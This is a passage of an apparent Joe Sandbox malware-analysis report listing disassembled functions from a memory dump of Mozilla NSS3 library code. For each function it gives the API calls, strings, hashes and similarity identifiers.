Opcode Fuzzy Hash: e11bb578d7eebacfb6e08b8f9865b581e8721096e72971b3f5309e0a565dabc2
Instruction Fuzzy Hash: 21814DF5A00B045BEA10DA71AD85B9777EC6B1024DF080838E47AD7B41FB35F69DCA62

Function 6CB46E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9FCA30: EnterCriticalSection.KERNEL32(?,?,?,6CA5F9C9,?,6CA5F4DA,6CA5F9C9,?,?,6CA2369A), ref: 6C9FCA7A
Part of subcall function 6C9FCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C9FCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CA0BE66), ref: 6CB46E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CA0BE66), ref: 6CB46E98
sqlite3_snprintf.NSS3(?,00000000,6CBAAAF9,?,?,?,?,?,?,6CA0BE66), ref: 6CB46EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CA0BE66), ref: 6CB46ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CA0BE66), ref: 6CB46EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CA0BE66), ref: 6CB46FA6
sqlite3_snprintf.NSS3(?,00000000,6CBAAAF9,00000000,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB46FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB47014
sqlite3_free.NSS3(00000000,?,?,?,?,6CA0BE66), ref: 6CB4701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CA0BE66), ref: 6CB47030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB4705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CA0BE66), ref: 6CB47079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB47097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CA0BE66), ref: 6CB470A0

Strings

winGetTempname4, xrefs: 6CB47046
mz_etilqs_, xrefs: 6CB46F18
winGetTempname1, xrefs: 6CB4708F
winGetTempname2, xrefs: 6CB470C4
winGetTempname5, xrefs: 6CB47071

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: a998d3ee0909992cbe6e8bab52ba3afa5db4c57e8f0ac127f90f3830a87074e8
Instruction ID: de26c3806fce3438fd362b87755e1a08a47d10c1ea784ac3ba1e80c00cb60182
Opcode Fuzzy Hash: a998d3ee0909992cbe6e8bab52ba3afa5db4c57e8f0ac127f90f3830a87074e8
Instruction Fuzzy Hash: 1A51ADB5A0919167E70097309C51FBF366A8FA2318F158538E815A7BC5FF22E90ED2D3

Function 6CAD4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA875C2,00000000,00000000,00000001), ref: 6CAD5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA875C2,00000000), ref: 6CAD5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CAD5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CAD50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA875C2), ref: 6CAD50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD5153
free.MOZGLUE(?), ref: 6CAD516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CAD517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5195

Strings

parameters=, xrefs: 6CAD506B
config=, xrefs: 6CAD509B
name=, xrefs: 6CAD5057
library=, xrefs: 6CAD5043
nss=, xrefs: 6CAD5083

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 31065d1b8341fc526df28a52d8fa1609620716ccd83b95c80da35daa1b7929b7
Instruction ID: 991b2b7e8878c4a29273a2d1580781add2060df343ab948e615069e6aee147b2
Opcode Fuzzy Hash: 31065d1b8341fc526df28a52d8fa1609620716ccd83b95c80da35daa1b7929b7
Instruction Fuzzy Hash: 225163F5A011166BEB01DF24DD41AEE37B8AF16248F190020FC59E7741EB25FA59C7B2

Function 6CAA8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CAA8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAA8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA8EB3

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAA8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CAA8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CAA8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CAA8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CAA8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAA8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CAA8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CAA8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CAA8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CAA9047

Strings

C_WrapKey, xrefs: 6CAA8E71
*pulWrappedKeyLen = 0x%x, xrefs: 6CAA9042
hWrappingKey = 0x%x, xrefs: 6CAA8F01, 6CAA8F11
hKey = 0x%x, xrefs: 6CAA8F5B, 6CAA8F6B
pMechanism = 0x%p, xrefs: 6CAA8EE0
pulWrappedKeyLen = 0x%p, xrefs: 6CAA8FC8
(CK_INVALID_HANDLE), xrefs: 6CAA8EAC, 6CAA8F1F, 6CAA8F79
hSession = 0x%x, xrefs: 6CAA8E8E, 6CAA8E9E
pWrappedKey = 0x%p, xrefs: 6CAA8FAD

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: b09e17ac74f925a166a9bd5ae0dd44bfac97c0b857ecbf59d5182cf99eca8497
Instruction ID: 33b52b4dd48c27510fe964e4e460e51295efd38ba2414526a2944803571b8ad3
Opcode Fuzzy Hash: b09e17ac74f925a166a9bd5ae0dd44bfac97c0b857ecbf59d5182cf99eca8497
Instruction Fuzzy Hash: 705107355021D5EFDB109F94DD48F9EBB76EB4631CF088066F90867A11D731AC8ACB92

Function 6CAD4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4C5B
PR_smprintf.NSS3(6CBAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAD4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CAC4F51,00000000), ref: 6CAD4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CAD4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CAD4DA2
free.MOZGLUE(?), ref: 6CAD4DB9
free.MOZGLUE(00000000), ref: 6CAD4DCF

Strings

slotFlags, xrefs: 6CAD4D34
any, xrefs: 6CAD4C96
rust, xrefs: 6CAD4D22
%s,%s, xrefs: 6CAD4C4B
rootFlags, xrefs: 6CAD4D47
timeout, xrefs: 6CAD4C91
ootT, xrefs: 6CAD4D1A
0x%08lx=[%s %s], xrefs: 6CAD4D80
every, xrefs: 6CAD4CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CAD4D9D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 5e047a68cf995e1421cc93c2316344d518829030df3b09c287454addaa267c1a
Instruction ID: af144bacf1bf9c839e92ac959226e8dd0b10b35be2acdd204ce685e3786d7d92
Opcode Fuzzy Hash: 5e047a68cf995e1421cc93c2316344d518829030df3b09c287454addaa267c1a
Instruction Fuzzy Hash: 5041BBB1900181ABDB129F999C44ABF3A65EF9630CF0E8124FC561B705E731E9A9C7D3

Function 6CAAA7B0 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 142COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessage), ref: 6CAAA7D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAA804
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAA813

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

Part of subcall function 6CA60F00: PR_GetPageSize.NSS3(6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F1B
Part of subcall function 6CA60F00: PR_NewLogModule.NSS3(clock,6CA60936,FFFFE8AE,?,6C9F16B7,00000000,?,6CA60936,00000000,?,6C9F204A), ref: 6CA60F25

PR_LogPrint.NSS3(?,00000000), ref: 6CAAA829
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CAAA84E
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CAAA86D
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6CAAA88C
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6CAAA8A7
PR_LogPrint.NSS3( pCiphertext = 0x%p,?), ref: 6CAAA8C2
PR_LogPrint.NSS3( ulCiphertextLen = %d,?), ref: 6CAAA8DD
PR_LogPrint.NSS3( pPlaintext = 0x%p,?), ref: 6CAAA8F6
PR_LogPrint.NSS3( pulPlaintextLen = 0x%p,?), ref: 6CAAA90F

Strings

pParameter = 0x%p, xrefs: 6CAAA849
C_DecryptMessage, xrefs: 6CAAA7D1
pulPlaintextLen = 0x%p, xrefs: 6CAAA90A
ulParameterLen = 0x%p, xrefs: 6CAAA868
pPlaintext = 0x%p, xrefs: 6CAAA8F1
pAssociatedData = 0x%p, xrefs: 6CAAA887
(CK_INVALID_HANDLE), xrefs: 6CAAA80C
ulCiphertextLen = %d, xrefs: 6CAAA8D8
hSession = 0x%x, xrefs: 6CAAA7EE, 6CAAA7FE
ulAssociatedDataLen = 0x%p, xrefs: 6CAAA8A2
pCiphertext = 0x%p, xrefs: 6CAAA8BD

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatnModulePageSize
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pCiphertext = 0x%p$ pParameter = 0x%p$ pPlaintext = 0x%p$ pulPlaintextLen = 0x%p$ ulAssociatedDataLen = 0x%p$ ulCiphertextLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessage
API String ID: 2235929764-549835957
Opcode ID: 0bc89a2e0b654257070618d3b1ed08998a5f8859eae42be7df7722ab48b53d6f
Instruction ID: fb618e28e4a6bca3c0c1ec9ee7406f801525fcc8e98157b66c8d481fb8b46f75
Opcode Fuzzy Hash: 0bc89a2e0b654257070618d3b1ed08998a5f8859eae42be7df7722ab48b53d6f
Instruction Fuzzy Hash: 8A51D2356020C5BFDF008F94ED48E9D7BB2AB4A31DF098064F90867A22D7319D99CF92

Function 6CAAE640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6CAB8C5B,-00000001), ref: 6CAAE655

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

PK11_GetIVLength.NSS3(-00000001,?,?,6CAB8C5B,-00000001), ref: 6CAAE7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE807
PK11_GetIVLength.NSS3(-00000001,?,?,6CAB8C5B,-00000001), ref: 6CAAE81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE841
free.MOZGLUE(00000000,?,?,?,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE852
PORT_Alloc_Util.NSS3(00000004,?,?,6CAB8C5B,-00000001), ref: 6CAAE878
free.MOZGLUE(00000000,?,?,6CAB8C5B,-00000001), ref: 6CAAE8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6CAB8C5B,-00000001), ref: 6CAAE8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAAE9D5

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: c501e7f0af6ac78ff7eaa5448c6edb811d05db2f283f42c49a8cd7475e55d38d
Instruction ID: 7cf58b19556556f192b9321c6edeeaa25e888e3a55a0bb38a895aac078869af7
Opcode Fuzzy Hash: c501e7f0af6ac78ff7eaa5448c6edb811d05db2f283f42c49a8cd7475e55d38d
Instruction Fuzzy Hash: AD81B3B0A057014BFB408BE998C576FB7E89B04348F28403AD859D7E50FB35D9EA86D6

Function 6CAB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CAB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CAB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CAB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CA84F1C,?,-00000001,00000000,?), ref: 6CAB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CA84F1C,?,-00000001,00000000), ref: 6CAB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB2EF8
PR_Unlock.NSS3(?), ref: 6CAB2F62
TlsGetValue.KERNEL32 ref: 6CAB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAB2F9E
PR_Unlock.NSS3(?), ref: 6CAB2FCA
TlsGetValue.KERNEL32 ref: 6CAB301A
EnterCriticalSection.KERNEL32(?), ref: 6CAB302E
PR_Unlock.NSS3(?), ref: 6CAB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CAB3085
PR_Unlock.NSS3(?), ref: 6CAB30EC
TlsGetValue.KERNEL32 ref: 6CAB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CAB3124
PR_Unlock.NSS3(?), ref: 6CAB314C

Part of subcall function 6CA99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CAC379E,?,6CA99568,00000000,?,6CAC379E,?,00000001,?), ref: 6CA9918D
Part of subcall function 6CA99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CAC379E,?,6CA99568,00000000,?,6CAC379E,?,00000001,?), ref: 6CA991A0

Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607AD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607CD
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C9F204A), ref: 6CA607D6
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C9F204A), ref: 6CA607E4
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,6C9F204A), ref: 6CA60864
Part of subcall function 6CA607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA60880
Part of subcall function 6CA607A0: TlsSetValue.KERNEL32(00000000,?,?,6C9F204A), ref: 6CA608CB
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608D7
Part of subcall function 6CA607A0: TlsGetValue.KERNEL32(?,?,6C9F204A), ref: 6CA608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CAB316D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: cef4aab755c4da175293f14c473bfa1405fde683b52320cfddc408f55173e9b5
Instruction ID: 590d1766c59f050168bd51a4e4ca5f24efb16798409aaa54796a543d9de5093f
Opcode Fuzzy Hash: cef4aab755c4da175293f14c473bfa1405fde683b52320cfddc408f55173e9b5
Instruction Fuzzy Hash: 8AF19CB5D016189FDF00DF68D884B9EBBB8FF09318F184269EC44A7711EB31A995CB81

Function 6CAAAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CAAAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAAAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAAAF83

Part of subcall function 6CB8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAAAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CAAAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CAAAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAAAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAAB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CAAB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CAAB041

Strings

pParameter = 0x%p, xrefs: 6CAAAFB9
ulParameterLen = 0x%p, xrefs: 6CAAAFD4
ulDataLen = %d, xrefs: 6CAAB00A
pulSignatureLen = 0x%p, xrefs: 6CAAB03C
(CK_INVALID_HANDLE), xrefs: 6CAAAF7C
hSession = 0x%x, xrefs: 6CAAAF5E, 6CAAAF6E
pSignature = 0x%p, xrefs: 6CAAB023
pData = 0x%p, xrefs: 6CAAAFEF
C_SignMessage, xrefs: 6CAAAF41

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
